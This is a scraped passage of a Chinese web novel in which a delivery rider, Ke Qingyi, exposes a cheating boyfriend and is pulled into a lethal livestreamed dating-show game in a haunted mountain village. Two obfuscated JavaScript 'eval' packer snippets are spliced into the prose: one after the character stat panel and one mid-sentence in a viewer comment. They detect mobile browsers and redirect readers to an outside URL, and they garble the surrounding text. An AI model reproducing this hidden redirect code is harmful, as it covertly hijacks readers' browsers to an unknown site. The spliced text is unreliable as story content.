《恋爱小白误入爱情罪人直播间后[无限]》 1. 山村爱情（一） 七夕良夜，暴雨瓢泼。 白象园小区是一个跨越了半个多世纪的老旧小区，楼梯间的灯光昏暗泛黄，像一块黄纱薄薄笼罩在斑驳破旧的台阶上。 柯清意拎着一份外卖拾阶而上。 套在印着平台logo黄色工服外的透明雨衣不断滴着水，行动间发出窸窸窣窣的摩擦声，与脚步声一起融在楼外暴雨声中。 楼梯间似乎只留下一道从手机另一头传来的清甜女声—— “我跟我男朋友是异地恋，半小时前我给他打视频，隐约间好像听见有女生的声音，但他跟我说他是一个人住......” “所以骑手小姐姐，能不能麻烦你帮我看一下，我男朋友房间里有没有女生？” “我会给你五星好评，外加打赏的。” 听着对方略藏几丝卑微的请求，柯清意微不可查地皱了皱眉，冷冷地应了对方一句：“我尽力。” “谢谢。” 电话那头传来一句轻声道谢后，便陷入一片死寂，只剩屏幕上的通话时间还在不断跳动着。 —— 柯清意转过几道楼梯，很快就爬上六楼，在贴着602门牌号的门前停下了脚步。 “咚咚咚——” “外卖。” 开门的男人个子很高很瘦，穿着一件白净平整的短袖，五官清隽，脸上带着一副金丝细框眼镜。 男人见白色外卖包装袋上印着“铜锣湾螺蛳粉”的字样，不由得皱起眉头：“你送错地了吧，我点的外卖可不是吃的，是盒避......” 他抬眼看清掩在黄头盔下的脸，肌肤冷白，五官清冷漂亮，下意识将最后两个字咽了回去。 “我没送错，外卖订单上的地址......” 说话间，柯清意冷冰冰的视线越过男人，落在他身后鞋柜前歪倒着的一双细高跟上—— 黑皮红底，鞋底踩地的那一端沾了些泥巴，还有浸过雨水的痕迹，很明显，不久前才有人穿过。 但男人身后的客厅里却不见人影，只有一阵不规则的哒哒声从里间传来。 那哒哒声在暴雨声中显得很轻很细，时而停歇，时而急促，让柯清意觉得有些熟悉，似乎在人群中听过不下百遍。 ......是美甲敲击手机屏幕发出的声音！ 柯清意不着痕迹地收回视线，举起左手中的外卖，将外卖订单送到男人眼前，故意提高音量：“......白象园小区三单元602号，就是这里。” 隔着密封的塑料包装盒，男人仍能闻到那股浓郁的螺蛳粉怪味。 他捂住鼻子草草扫了一眼外卖订单，眼中露出满满的嫌弃和不快：“都说了不是我点的，说不定是这栋楼的哪个傻子填错了地址，你自己打电话去问，别来烦我！” 说完，男人便飞快地后退一步，打算关上房门。 “等一下......” 柯清意伸手挡住关到一半的房门，手中的外卖“砰”地一声撞在门上，塑料盖子受力豁开，螺蛳粉味瞬间在楼道中放肆地弥漫开来。 男人脸色愈发难看，正要怒骂出声，柯清意朝他身后看去，抢先开口道：“这是你女朋友给你点的。” 男人愣了一下，顺着柯清意误导的眼神扭头朝身后的女人看去，皱眉问：“宝宝，这螺蛳粉是你点的？” 那女人刚从卧室里走出来，光着脚，身上穿了件黑色连衣短裙，指甲上做了艳丽的红色美甲，又尖又长。 听见男人的问话，她摇摇头：“不是啊，我只点了套。而且我知道你讨厌螺蛳粉，怎么可能点螺蛳粉呢。” 声音绵软娇媚，拖着一丝长长的撒娇尾调，清晰地传向手机通话的另一头。 一头浓情蜜意，一头泣不成声。 眼见男人劈腿已经实锤，柯清意不打算牵扯进他们三人的爱恨情仇中，正想拎着外卖转身离开，突然听见手机另一头带着哭腔的女声传来。 柯清意抿直了嘴角，犹豫一秒后，还是按照她的要求打开了手机的免提通话，平举到男人身前：“给你点这份外卖的，是你的异地女友，而现在，她有事情要通知你——” 她的话音刚落，电话另一头就传来一道带着哭腔却异常坚定的女声：“肖平巍，你就是个渣男！骗子！我要跟你分手！” “......小、小雅！？” 肖平巍的脸色一下子变得僵白，似是完全忘了身后黑衣女人的存在，目光慌乱地急急解释道：“小雅，不是这样的，刚才是她们两个在演戏，我......” “嘟嘟嘟——” 许是肖平巍倒打一耙的话太恶心了，通话被小雅直接挂断，只留下忙音敲在肖平巍心间，一下一下将他的心情敲到谷底，只剩下满腔怒火急于宣泄。 “你诈我！？贱人！都是因为你，小雅才会跟我分手！” 听见肖平巍嘴里吐出来的甩锅说辞，柯清意差点被气笑了，冷冷地白了这极品渣一眼，犹如看脏垃圾一般，深处透着满满的嘲弄和鄙夷。 肖平巍更愤怒了，颤抖着手就想往柯清意脸上扇去。 柯清意冷着脸后退两步，避开巴掌的同时，将手中已有豁口的螺蛳粉外卖甩在肖平巍脸上，红油拌米粉顺着他扭曲的五官流下。 “啊啊啊啊——！” 在一阵无能狂怒吼声中，柯清意满意地转身朝楼下跑去。 刚下了两个台阶，她的视线措不及防地被无边的黑暗吞袭，周围的一切感知也瞬间消失—— 楼外哗啦啦的暴雨声消失了，肖平巍的无能狂怒吼声消失了，充斥在鼻腔的螺蛳粉味也消失了......似乎一时间，四周除了自己轻微的呼吸声，一切皆归于死寂。 这让柯清意莫名感到一阵心慌。 好在几秒过后，无边无际的黑暗就如潮水退去。 柯清意视线再次能看清时，眼前已经不是狭窄破旧的小区楼道，而是一条充斥着黑雾、看不到尽头的土路。 土路两边是层层密叠的高大老树，树枝张牙舞爪地向上生长着，在惨白的月色下，像是一堆扭曲挣扎的鬼影。 除了柯清意，这条诡异的土路上还站着一个中年男人。 男人侧站在柯清意左前方，大约十多米的距离，他呆呆站在原地，眼睛直勾勾地盯着正前方的空气，不知道在看什么。 疑惑间，柯清意眼前蓦然闪了一下。 下一秒，一块巴掌大小的半透明面板凭空出现，悬浮在她面前，上面写着——【欢迎成为爱情罪人主播】 柯清意：“......” 她知道那男人在看什么了。 面板上的欢迎词在空气中慢慢淡去，接着凭空显现出来的是一个新的界面—— 中间是几行小字。 顶栏从左到右依次排列着金币、爱心、三个小人、饭碗的图标，后面跟着的数字都是0。 右侧依次往下排列着手册、购物车、背包、恋人、好友、土壤的图标。 柯清意拧着眉头，用手指去戳面板上的手册图标，没什么意外地戳了个空。 反倒是她心中闪过想要打开手册的念头，手册就被自然地打开来。 手册里只有一句话：直播实名论坛已为你开放，离开游戏后请及时登入网址（）。 柯清意接着用意念一一打开下面的图标。 购物车里有各种各样的物品图标，按照用途一页一页地分了类，从日常用品到工具武器一应俱全，还有很多乱七八糟的东西。 所有物品的图标都是黑白的，代表她还没有购买的资格。 剩下的四个图标里都是空的。 柯清意的目光最终又落回到面板中央的小字上： 【爱情罪人主播名称：柯清意】 【智力：A+】 【体力：B】 【攻击力：B】 【防御力：C-】 【综合等级：B-（注：直播副本危险重重，所以对于自己的战斗力，要有正确的认识哦！）】 【生命初始阈值：100】 【精神初始阈值：100】 【恋爱次数：0（......奇怪，找不到你的恋爱次数，你是怎么混进来的......）】 【爱情罪行：？（暂定存疑）】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797613|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 〖→〗 柯清意扫完面板上的人物信息之后，看着最后两句话后的0和？，拧着眉心陷入了沉思。 她出现在这条土路上之前，正好参与了一场“渣男出轨被甩”的戏码，难道......她是被肖平巍的三角恋牵扯进来的？ 那肖平巍、黑衣女人、小雅他们会不会也成了爱情罪人主播，也在这条土路上？ 一连串疑问在柯清意心头盘旋而过。 她用意念点了一下最下面的〖→〗，面板上又浮现出新的字来： 【直播副本名称：《山村爱情》】 【等级：C+级（注：主播死亡率在30%-50%间）】 【人数：十四人】 【历史最高进度：83%（注：明线任务和暗线任务进度之和）】 〖←〗〖→〗 看到“主播死亡率”，柯清意眉头拧得更紧了。 照她目前的处境来看，这个死亡率大概指的是主播真人的死亡率。 十四个主播里面会死五个、六个、或者七个，也许......还会更多。 柯清意继续点击〖→〗，面板上又换了几行字： 【《山村爱情》是一档新奇的恋爱综艺节目，将十四位单身男女齐聚到与世隔绝的山村共同生活七天，通过任务互动寻找各自的爱情，每天晚上都会有爱情侦探来考验和判定男女间的感情。】 【为了提高《山村爱情》的收视率，节目组为每位嘉宾都量身打造了一个人设。】 【你的人设：恶毒女配】 【1.毒舌辣嘴：使用尖酸刻薄的言辞攻击其他嘉宾，使其降低10点精神力。（0\13） 2.棒打鸳鸯：拆散一对心动值50以上的预备恋人嘉宾（0\1） 3.贪多贪足：转换三个心动嘉宾——最高（心动值达50）、最富（心动值达50）、最帅（心动值达50）】 【明线任务：完成人设】 【进度：0%】 【暗线任务：待触发】 〖←〗 恋爱次数为0的柯清意心情略微有点复杂：“......” 她的人设一定要这么复杂吗？ 还有这个暗线任务...... 余光瞥见左前方的中年男人朝自己的方向走来，柯清意用意念关掉面板，将目光移到中年男人身上。 他约莫三十五六岁的年纪，穿着件白色POLO衫，体格高大魁梧，长相有些朴实无华的憨厚。 体格高大...... 啧，他也不一定就是最高的，还有六位男主播呢。 中年男人走到柯清意旁边，带着几分警惕和防备地开口：“你......是新人主播吗？” 新人主播？ 柯清意目光微闪，中年男人能问出这句话就代表他大概率不会是新人主播。 秉承着“职场菜鸟更容易受欺负和压榨”的传统观念，柯清意正想用“你说呢”把问题丢回去，就见男人盯着她挠了挠头，自己先下了判断：“你看上去这么冷静，应该不是新人主播。新人......一般都是‘一惊二问三哭闹’的......” 前方土路上的黑雾中正好有微弱叫声传来，柯清意开口道：“我们先去跟其他主播汇合吧。” “哦哦，好......呃......”男人应了声好后，又为难地看向土路两边的黑雾，浓郁得根本看不清其他主播在哪个方向。 柯清意没有说话，直接抬脚朝前面走去。 男人愣了一下，追上她皱眉问：“诶，你为什么要走这边？要是走错了......” 柯清意打断他：“这边刚才有人在惊叫。” “有吗？”男人疑惑道，“我怎么没听到？” 柯清意面无表情地说：“我耳朵比较好使。” 男人：“......哦。” 柯清意确实没有骗他，她的五感天生就要比常人强上很多，听得远，看得远...... 凄厉的阴风掠过林间，树枝交缠摆动发出阵阵呜呜声，黑雾中断断续续传来一些模糊不清的说话声。 2. 山村爱情（二） 两人在黑雾中走了三分钟左右，才在土路旁不远处看见一座轮廓有些模糊的小山村。 小山村上方被黑雾笼罩，一片黑沉，小山村外围处站着八九个人。 柯清意仔细扫了一眼，在那八九个人中看见了两张略微熟悉的面孔——一身螺蛳粉红油辣汤的肖平巍和黑衣女人。 许是因为肖平巍身上浓郁的螺蛳粉味，他俩单独站在人群边缘，与其他人隔了五六米的距离。 看样子，手机那头的小雅应该没在人群中。 ......所以，她真的是被肖平巍的三角恋牵连进来的？ 柯清意在心里默默记了肖平巍一笔。 而老方却在心里默默计算着刚才的路程，发现最少也有三百多米，不由得惊叹：“小柯，你耳朵也太好使了吧，这么远都能听到。” 柯清意下半张小脸藏在外卖工服的领子下，语气冷冰冰的：“还好，走吧。” 话落，她便抬脚朝那群人走去。 与此同时，老方的论坛直播间，仅有的十几位观众也在发弹幕惊叹： 【不是，这女的能听这么远？刚才的惊叫声真的很大吗？】 【也不算很大吧，就是一个满头螺蛳粉米粉的新人主播问东问西，把一个纹身壮汉问烦了，揍了他两拳叫出来的。】 【满头螺蛳粉？不是......这新人进来前干嘛了？】 【谁知道呢，反正左右不过爱情那点事，在座的各位不都是因为爱情问题进来的吗？】 【哎......都是友军，别拿刀子捅人。】 【老方（声嘶力竭），她是新人主播，你别被她给骗了！！！】 两人都对直播间的弹幕一无所知。 —— “十、十一......” 看见柯清意和老方朝人群走来，一个穿着白色背心、两臂纹着老虎刺青的壮汉数了两个数，不耐烦地说道：“妈的，还差三个，他们是死路上了吗？” 柯清意、老方：“......” 总觉得这壮汉之前也这么骂过他们俩个。 老方是个脾气温和的老好人，他开口劝道：“那三个说不定是新人，稀里糊涂地进了直播，一时间找不到山村的位置也是正常的。” 壮汉朝地上吐了一口唾沫：“妈的，老子在这等十几分钟，已经算够照顾那些傻叉新人主播了。” 老方：“......” 在壮汉一句话带三个不文明词的攻击中败下阵来。 趁着他们说话的功夫，柯清意暗中打量起先到的这九人来。 他们有男有女，年纪不一。 上到头发灰白五六十岁的男人，下到十七八岁背着书包穿着校服的女高中生。 其余人的年纪大多在二十到四十岁之间：穿着黑色卫衣套装的短发男，黑色西装半裙的女白领，挺着啤酒肚的光头男，穿碎花裙的清瘦女生......以及壮汉、肖平巍和黑衣女人。 目前这十个人中，个子最高的还是老方，这让柯清意松了一口气。 跟老方完成“最高心动嘉宾：心动值50”的任务算是当下最好的选择了，总比跟第二高的肖平巍和第三高的壮汉完成要好。 打量间，柯清意的肩膀被人轻轻碰了一下。 她回头看，是黑衣女人，应该是刚哭过，涂着粉底的脸上有两条清晰的泪痕，眼眶里还带着泪水，藏着深深的悲伤和害怕。 黑衣女人低声打着商量：“平巍说他有话想跟你说，能请你过去一下吗？” 她这话说得客客气气的，柯清意犹豫了一瞬，点了点头，跟在她侧后方朝肖平巍的方向走去。 柯清意这才注意到，黑衣女人是光脚走在坑坑洼洼、充斥着碎石子的土路上的，她的脚掌边沿有几道触目惊心的伤痕，走过的尖锐碎石上沾满了暗红血渍。 或许是已经痛到麻木了，黑衣女人像是没什么感觉地向前走着。 再看站在那边人模狗样的肖平巍，脚上穿着一双黑色男士拖鞋，胸前的白色短袖上沾了一大片红油辣汤，他两只手插在裤兜里，眼睛愤恨地盯着柯清意。 走近后，他咬牙切齿地说：“你送外卖就好好送外卖，脑子堵了要掺和别人的感情问题，要不是因为你跟小雅打的那通电话，我和晓樾也不会莫名其妙来这里，成为什么爱情罪人主播。” ......啧，又是甩锅说辞。 “平巍......” 被称为晓樾的黑衣女人也没想到他会说这些话，皱着眉拉了一下肖平巍的手臂，不赞同地说道：“这跟她没多大关系......” 肖平巍恶狠狠地凶道：“你闭嘴，你以为你是谁，不过就是个在夜总会......” “该闭嘴的人是你才对。” 柯清意截住他伤人的话语，抬起眼皮看向脸上油光和凶狠之色相互交织的肖平巍，冷冷开口：“而且我看脑子堵住的人也是你吧，三十几年来你都没有用皮搋子好好疏通过你的脑子吗？能过你脑子的话尽是一些掺杂着shi分的niao......” “我以为你找我来是想说副本的事，没想到又是给你自己的错误找借口。你的脑子是不是想不明白什么叫——爱情罪人，你要是能想明白，就会知道‘爱情罪人主播’这个身份跟你是百分之一百的适配，比‘男人’这个身份还要适配一百倍。” “我建议你下次矛头指向别人之前，先往自己身上捅两下，没死才有资格来指责别人。” 肖平巍的话是压低了声音的，只有他们三人能听见。 但柯清意却没有压低声音，在场众人听到她的话后表情各异…… 看上去明明是个挺白净挺安静的小姑娘，言语攻击怎么又脏又强的。 被劈头盖脸骂了一顿的肖平巍呆愣在原地，反应过来刚想骂回去，就看见柯清意用难以言喻的目光打量着他。 从上到下，又从下到上，最后好似在心中评定出了什么垃圾结果一样摇摇头。 接着，她扭头看向晓樾，淡淡问道：“你看上他什么了？” “自私无耻？” “胆小懦弱？” “垃圾性行？” “呵，不如趁早甩了吧。” 众人：“......” 同时，面板跳出： 【毒舌辣嘴：攻击对象秦晓樾，精神值-12】 【恭喜主播柯清意达成毒舌辣嘴（1\13）】 【奖励金币20】 【明线任务进度：4%】 柯清意：“......” 她话里话外的攻击对象明明就是肖平巍，怎么是秦晓樾的精神值减了12？ 看来，毒舌辣嘴的攻击方向还有待商榷。 “你！贱人！你......” 肖平巍气急败坏地刚怒骂了两个词，就看见体格高大魁梧的老方朝他们这边走来，用一种“别随便欺负人家小姑娘”的眼神盯着他。 肖平巍差点一口老血涌上喉咙，脸色愈发铁青发黑，但看了眼老方身上健硕的腱子肉，他只能识相地选择闭上嘴巴。 见状，柯清意也没继续用刻薄的言语攻击他，过犹不及的道理她还是懂的。 她专心查看起面板来。 面板顶栏第一个金币图标后面的数字已经变成了20，而第三个三小人图标后面的数字不知道什么时候变成了65，还在快速往上增加着......第四个饭碗图标后面的数字也变成了6。 柯清意猜三个小人图标应该是代表直播间观众，却一时没想明白饭碗图标具体代表什么，正思考时，面板上又刷出来两行新字： 【105名观众进入主播柯清意的直播间，恭喜主播柯清意达成新星主播成就】 【观众[王一一]打赏主播柯清意：一张B级鬼怪现形镜头膜】 同时，饭碗后面的数字从6跳到了7。 ......原来是直播观众打赏的礼物数。 饭碗装打赏礼物，这让柯清意莫名有种自己在乞讨的错觉。 她点进饭碗图标，里面排列着四个物品图标：镜头膜×1、匕首×3、白鞋×1、高跟鞋×1、皮搋子×1。 柯清意：“......”皮搋子什么鬼？ 【啊啊啊，一姐大气，一出手就是B级物品，这可是这个副本的关键道具。】 【我给黑衣小姐姐送了一双鞋，主播千万要懂我的意思啊！】 【我给螺蛳粉送了一个皮搋子，主播千万要懂我的意思啊！】 【我去，她竟然抽到了恶毒女配的人设，怪不得要攻击螺蛳粉。】 【完了，毒舌辣嘴得攻击13位玩家，从来没有人完成过......她死定了。】 柯清意虽然看不见弹幕，但完全懂了白鞋礼物的意思。 她点开白鞋图标： 【平平无奇小白鞋】 【赠送观众：刘芸】 【等级：D级】 【金币：3】 【功能：保护双脚、防滑减震】 【备注：仅在一个副本里生效】 〖使用〗 点击〖使用〗后，柯清意手里突然凭空出现了一双码数约莫37/8码的小白鞋，她递给秦晓樾：“直播间观众让我转交给你的。” 秦晓樾一愣，红着眼 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柯清意淡淡道：“你说得对。” “......”壮汉眉峰紧皱，这话听起来虽然是认同他的话，但总觉得有哪里不对劲，越想越不对劲...... 一瞬间，他觉得不对劲的地方已经呼之欲出，却又被周围人倒吸一口冷气的声音打断，思绪刹那间消散无痕，不由得怒道：“你们见鬼了？吸什么气，把老子思路都打断了。” “......”离他最近的女高中生翻了一个白眼，心想真看不出来你这个莽汉竟然还会有思路这种东西。 她抬手指了指前方黑雾：“你看，真的还有两个人。” 壮汉一愣，顺着她指的方向看去，竟真的在走秀三人组身后的黑雾中，看到了两道正跌跌撞撞跑过来的人影，就连走秀三人组也听到了身后急促的脚步声，停下脚扭头向后看去。 壮汉大惊失色：“这怎么可能？” 他的话好似一颗水珠溅入热油锅，众人开始躁动不安起来： “怎么回事，十四个人的副本怎么会进来十六个人？” “他们两个会不会是村民？” “不可能，你看这村里有灯亮狗叫吗？还是你觉得那些村民npc会在大晚上出来跌跌撞撞地闲逛？” “我刚看了一下面板，副本人数还是十四？” “直播系统是不是哪出错了？难道我们之中有人进错副本了？” “也有可能，我们十六个人中有两个......不是人......是鬼怪伪装的。” 女高中生带着几分惊疑的声音，结束了空气中的嘈杂。 众人一个接一个地安静下来，本就沉重的气氛骤然下沉到了冰点，猜忌和惊恐在众人心中弥漫开来。 倒是隔岸观火的直播间依旧聊得火热： 【小柯主播眼神也这么好使啊！都能透过黑雾看到人了！】 【你怎么就确定主播是看见的，不是听出来的？】 【不是......这个副本怎么会多出来两个人？以前从没有过这种情况啊？】 【余小豆不说了嘛，有两个伪装的npc。】 【可是我怎么看谁都像主播啊？？】 【你脑子秀逗了，去看看这十六个人谁没有直播间，不就知道谁是混进去的npc了？】 那一男一女新人主播已经跑到了走秀三人组旁边，惊恐惶惑全都掺杂地问：“这是什么地方？这究竟是怎么回事啊？怎么还有一个会浮在半空中的......东西？” 三人组都是过过几个副本的老主播了，自然也意识到了人数的不对劲。 风衣男淡淡瞥了他俩一眼，平静地说：“先过去再说吧。” 两个新人主播互相看了一眼，哆哆嗦嗦地说了声好，跟着他们一起朝离得十几米远的人群走去。 刚刚走近，众人间戒备疑惑的眼神互相一交汇，还没来得及开口，面板就齐刷刷地跳出来了： 【《山村爱情》第一夜：请选择一位异性嘉宾赠送心动手环，并组队完成心动任务】 【心动任务：共同使用掌上小相机拍摄一段三分钟的视频。】 【内容：不限】 【地点：乌山村】 【时间：六个小时】 【备注： 1.心动手环已发放至嘉宾背包中，掌上小相机已发放至女嘉宾背包中； 2.拍摄期间，两人中若有一方不幸死亡，心动任务失败。】 【倒计时：05：59：29】 3. 山村爱情（三） “内鬼”还没找出来，就要组队完成心动任务，这跟扫雷有什么区别。 众人阴着脸沉寂了好半天。 半晌，新来的那两个新人主播才缩着头弱弱出声：“这到底是怎么一回事啊？什么组队？什么任务？我们是不是被绑架了？” “哎......” 穿着黑色西装半裙的女白领看了一眼沉默不语的众人，深深叹了一口气，才把两个新人主播拉到一旁，向他们简单解释起眼下的情况来。 众人没理会那边的新手培训，有意无意的眼神互相打量着，最终全都落到了柯清意身上。 她是怎么知道后面还有两个人的？ 还能准确判断出是新人主播？ 柯清意自然知道他们在怀疑什么，并没有解释，只是指了指一旁的肖平巍和秦晓樾：“我跟他们两个在现实中有过接触，也是一起进来这的。” 这话的意思很简单，他们三个是可以互相作证的，也绝不可能存在串供骗人的行为。 因为......“内鬼”只有两个。 但总有人的脑子转不过来，比如壮汉。 他梗着脖子：“你说一起进来的就一起进来的，我们凭什么相信你们三个？” 肖平巍和秦晓樾脸色一僵。 “我也不用你相信。”柯清意懒得跨越巨大的鸿沟跟壮汉自证清白，只环顾了一圈众人，冷冷开口：“总之，组队拍视频是我们今晚必须要完成的任务，不管你们相不相信我，最后总归会有一个异性要跟我组队。” 众人又沉默下来。 过了半晌，老方忽然开口：“小柯，我相信你，我跟你组队。” 听见这话，柯清意眼底划过一丝微不可察的笑意，她刚才说那些话就是为了“钓”老方—— 她借肖平巍二人证明了自己的清白，至少要比在场独自进来的主播可信得多，而在场两个一起进来的异性主播，例如肖平巍和秦晓樾、最后来的那两个新人，他们很大概率最后会互相组队。 据她观察，老方也是独自进来的主播，能组队的人选不多，有了她的自证清白在先，他自然会更偏向于跟她组队。 而她也正好可以借组队做心动任务的机会，顺理成章地完成“最高心动嘉宾：心动值50”的任务。 ......一箭双雕。 还不知道自己刚刚被算计了的老方，单纯地从背包里拿出心动手环递给柯清意。 心动手环其实跟现实中的运动手环很像，拇指宽的黑色环带，中间有一块长方形的电子屏。 柯清意接过手环戴在左手上，也打开了自己的面板背包： 原本空无一物的背包，此时静静陈放着两个系统发的物品——心动手环和掌上小相机。 【心动手环】 【等级：C级】 【功能：监测心动值、监测心动队友的距离】 【备注：精神值低于30，手环自动脱落】 【掌上小相机】 【等级：C级】 【功能：拍摄视频】 【备注：轻松握于掌间，无需冗余按键，遇到&*&#画面0秒开机，进行360度无死角智能人脸跟随拍摄】 柯清意将两个物品都拿了出来，一起递给老方。 “这......”老方有些迟疑，见柯清意态度坚决，还是伸手将手环和相机一起接了过来。 老方刚把心动手环戴上，他们俩的电子屏同时亮了起来，上面显示着两个数值： 【心动值：0】 【心动队友距离：1米】 柯清意扫了一眼就摁灭屏幕，抬眼看向漆黑一片的乌山村：“走吧，去村里看看。” 老方道了声好，两人便抬脚朝乌山村走去。 “哎，你们......” 众人眼睁睁看着柯清意和老方的背影毫不迟疑地隐没在漆黑的山村里，面面相觑了好半天，才开始各怀心思地找人组队。 几分钟后，组好队的主播陆陆续续朝村里走去。 —— 副本里的时间似乎是深夜，山村里一片漆黑阴沉，所有房屋都紧闭着门窗，不见一丝光亮，只有细微的呼噜声从屋内传出来。 柯清意和老方在村里七拐八绕地转了一圈，也没遇上什么相机能拍的&*&#画面。 真字面意义上的“能拍”。 这个掌上小相机全身上下没有一个开关按键，不管他们把摄像头对准什么东西，它下面的显示屏一直处于黑屏状态，死活不开拍。 让人不禁怀疑系统发的不会是什么开不了机的劣质产品吧。 眼看着倒计时一分一秒地变少，老方脸上难掩急色：“小柯，怎么办？相机备注上说的......乱码画面，放到这个副本场景里具体会指什么画面啊？” 柯清意垂眸思考了片刻，没有直接回答老方，而是反问了他一个问题：“如果你作为《山村爱情》和有鬼怪存在的危险恐怖副本的导演，你会希望拍到什么画面？” 老方冷不防她会这么问，惊愣了一秒才挠着脑袋仔细思考起来，半晌后有些不确定地说出自己的想法。 “......《山村爱情》是档恋综，大概会希望拍到一些甜蜜或者抓马的爱情场面吧，这样能提高话题讨论度和收视率。恐怖游戏的话......大概就是一些惊险刺激的恐怖、解谜、逃生之类的画面吧。” 柯清意说：“两者结合一下。” 老方皱着眉头，从中提取了几个关键词：“爱情、恐怖、逃生......” 他眉头皱成了一个大大的川字，迟疑道：“恐怖逃生的画面还好说，惹怒怪物npc被它们追杀就算，但是这个爱情画面......有点难找吧？” 虽然一起进来的新人主播中，确实有那么一两对是真情侣，但是他们会乐意让别人去拍他们被npc追杀的画面吗？ “你是不是忘了。”柯清意拉回老方不知道歪去哪了的思路，“我们现在是参加《山村爱情》的嘉宾，我们本身就代表着......爱情。” “啊？” 老方仿佛这才想起来自己现在是个恋综的嘉宾，有些尴尬地挠了挠头：“哦......你的意思是，我们被追杀就行了？” 柯清意点头：“差不多。” 老方问：“你是想去惹怒那些村民，让他们变成怪物追杀我们吗？” “唔......村民吗？” 柯清意低低重复了一遍，才诚实地说：“其实我想的npc是，爱情侦探。” 老方：“......” 什么玩意？爱情侦探？听上去还有点耳熟...... 他疑惑了两秒，才猛地想起自己曾在面板上看到过这个词。 他打开面板，念出了那句话：“每天晚上都会有爱情侦探来考验和判定男女间的感情。” “嘶......” “我之前看到这条信息的时候，还在心里想爱情侦探肯定就是每晚来杀人的怪物npc了。但是后来被‘内鬼’和拍视频的事一影响，竟然差点把爱情侦探给忘了。” 老方懊恼地一掌拍在脑门上。 似是拍通了任督二脉，他忽然睁大眼睛，一脸的恍然大悟：“我知道了，爱情侦探每晚都会来考验主播，而考验不合格的主播就会被追杀，完全符合爱情恐怖逃生画面！” “考验不合格是会被追杀，还是会被直接杀死，我还不确定，所以……”柯清意面色郑重地说，“如果你遇上了爱情侦探的考验，最好不要抱着‘不合格只会被追杀’的侥幸心态，尽快通过考验才是最稳妥的选择。” 老方呼吸一顿，点点头：“我知道了。” 说完，他又瞪着眼睛扫向四周，哭丧着一张脸：“它们......现在应该还没来吧......” 柯清意沉默两秒，平静地说：“或许已经来了，只是还没找上我们，又或者是我们看不见它们。” “啊？”老方惶恐地扫了一眼周围，“还能看不见吗？那不就是......”鬼了吗？ ——他不想经历中式恐怖啊！ 柯清意没说话，打开了面板上的饭碗图标，点开排列在第一个的镜头膜图标： 【鬼怪现形镜头膜】 【赠送观众：王一一】 【等级：B级】 【金币：100】 【功能：只要覆在一切镜头上，就能让所有B级及以下等级的鬼怪无所遁形】 【备注：仅能使用一次，时限依镜头等级而定：等级差越小，时限越长，功能越好。】 〖使用〗 柯清意点了〖使用〗，手心里出现一张薄薄的透明软膜，泛着冷冽水润的光泽，很像放大版的隐形眼镜。 【不是吧，她要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797615|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用镜头膜了？这也太草率了吧，果然是新人。】 【系统给的相机是C级啊，一旦贴上用不了多长时间的，以往的主播都撑不到后面的鬼怪暗线。】 【哎，可惜了，拍视频的思路挺清晰的，就是用镜头膜的行为很迷惑。】 【走了走了，还是老人的直播有看头。】 老方平时没事干的时候，就爱点开面板上的购物车闲逛，虽然买不起，但不影响他将购物车里的物品来来回回都看了个遍，所以此刻他也认出了柯清意手里的镜头膜。 他皱了皱眉：“小柯，这个相机是C级......” 柯清意摇头：“我不打算用在相机上面，既然系统给大家都发了一样的相机和任务，说明这个相机一定能拍到......鬼怪之类的东西，不必浪费一张镜头膜。” 老方纳闷：“那你拿出来干嘛？除了相机的镜头，镜头膜还能用在哪？” “眼睛。”柯清意淡淡道，“我的眼睛也算镜头，而且等级差要比相机的更小。” 她的综合等级是B-，镜头膜是B级，也算得上是同一等级。 老方被她的话惊得瞪大了眼睛：“......这不能吧？” “试试不就知道了。” 柯清意捏起镜头膜的边沿贴近自己的右眼，在镜头膜接触上眼球的一刹那，镜头膜倏地缩小，紧密贴附在柯清意的右眼球上，整个眼眶都冰凉冰凉的。 老方：“......”我去！真进去了？ 柯清意的直播间弹幕静止了几秒，然后讨论如激流涌出—— 【我去！我去！还能这样？！镜头膜能用在人身上？】 【神特喵的眼睛也算镜头，谁敢拿那么大一块镜头膜往自己眼睛里怼啊……】 【justdoit，新人就是勇猛啊！不得不说，我被种草了，下次进副本我也要试试。】 【不是……只有我觉得用在眼睛上会没什么效果吗？万一有副作用怎么办？】 柯清意眨了眨眼睛，没想到镜头膜真的能用在眼睛上，她赌对了。 她伸手捂住左眼，只用右眼慢慢扫视着周围的房屋、村路、水塘、槐树......黑雾似乎更浓郁了些，不断从周边的树林中喷涌出来，黑沉沉地往乌山村里挤压。 老方有些紧张地问：“小柯，你看到什么了？” 柯清意的视线慢慢落回到老方身上，却是一惊。 【注意：主播柯清意精神值-1】 老方原本有些黄黑的皮肤，此刻泛着一股渗人的青灰惨白，皮肤下方好似藏着无数根尖锐的指甲，在不停地抓挠着，令皮肤鼓起了一道道尖锐的凸痕，仿佛有什么东西即将戳破他的皮肤挣脱出来一样。 柯清意甚至听到了从老方皮肤下传来的刺啦刺啦声，还夹杂着几声小儿的咯咯怪笑，在寂静的夜里显得空灵又诡异。 “小柯，你是不是看到什么了？”老方盯着她又问了一遍，眼白过多的眼睛透露着冰冷的死气。 “没有。”柯清意面无表情地移开视线，坚定地说：“什么都没看到。” 为了任务，还不能撕破脸......柯清意在心里默默想着。 “哦......” 